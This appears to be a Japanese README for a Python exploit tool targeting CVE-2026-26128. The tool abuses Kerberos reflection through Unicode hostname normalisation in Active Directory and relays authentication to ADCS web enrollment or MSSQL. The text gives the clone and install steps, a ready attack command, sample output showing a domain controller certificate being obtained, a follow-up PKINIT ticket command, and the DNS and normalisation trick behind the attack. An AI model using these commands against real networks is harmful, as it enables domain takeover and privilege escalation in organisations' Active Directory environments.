
KerberosリフレクションをWindows Active DirectoryのUnicode正規化を介して悪用し、ADCSおよびMSSQLへの認証リレーを実現することで、証明書ベースの権限昇格を可能にします。

Windows Active Directory における Unicode 正規化を介した Kerberos リフレクションを悪用する Python ツール。Guillaume André / Synacktiv による研究に基づいています。
これらのツールは Python 3.8+ とのみ互換性があります。GitHub からリポジトリをクローンし、依存関係をインストールすればすぐに使用できます:
git clone https://github.com/jarnovandenbrink/CVE-2026-26128.git
cd CVE-2026-26128
pip install -r requirements.txt
python3 CVE-2026-26128.py contoso.com/john:password -t http://contoso-dc.contoso.com/certsrv/certfnsh.asp -l 192.168.1.80 -dc-ip 192.168.1.10
[*] Connecting to LDAP on 192.168.1.10
[*] LDAP connection established
[*] Adding DNS record: cⓞntoso-dc.contoso.com
[*] Waiting for DNS propagation... 180s
[*] DNS propagation complete
[*] Setting up SMB Server
[*] SMBD: Received connection from 192.168.1.10
[*] HTTP server returned status code 200, treating as a successful login
[*] [+] Attack worked!
[*] Certificate will be written to: /path/to/CONTOSO-DC.pfx
[*] To request a TGT using PKINIT run:
python3 gettgtpkinit.py contoso.com/CONTOSO-DC$ -cert-pfx /path/to/CONTOSO-DC.pfx -dc-ip 192.168.1.10 out.ccache
[*] GOT CERTIFICATE! ID 16
[*] Writing PKCS#12 certificate to ./CONTOSO-DC.pfx
[*] Certificate successfully written to file
あるいは、この攻撃は ADCS Web 登録および MSSQL に対しても実行できます。MSSQL への Kerberos リレーの場合、SQL Server がマシンアカウントとして実行されている必要があることに注意してください。そうでない場合、AP-REQ は正しいキーで復号されません。
このツールは、SPN を解決する際に Windows が Unicode 文字を正規化する方法を悪用します。DnsCache サービスは NORM_IGNORECASE を指定した CompareStringW を使用するため、ⓢⓡⓥ1․ⓐⓓ․ⓛⓞⓒⓐⓛ を srv1.ad.local とは異なるものとして扱い、DNS 要求を発行します。一方、ドメインコントローラーは正規化フラグ 0x31403 を指定した LCMapStringEx を使用します。Unicode ホスト名の DNS レコードを登録して攻撃者マシンを指すようにすることで、チャネルバインディングや通信の整合性を強制しない任意のサービスに AP-REQ をリレーできます。
サポートされているリレー先は ADCS Web 登録と MSSQL です。SCCM AdminService のサポートは計画中です。2026 年 3 月の Patch Tuesday アップデートでパッチが適用されたシステムでは、SMB リレーがもはや不可能であることに注意してください。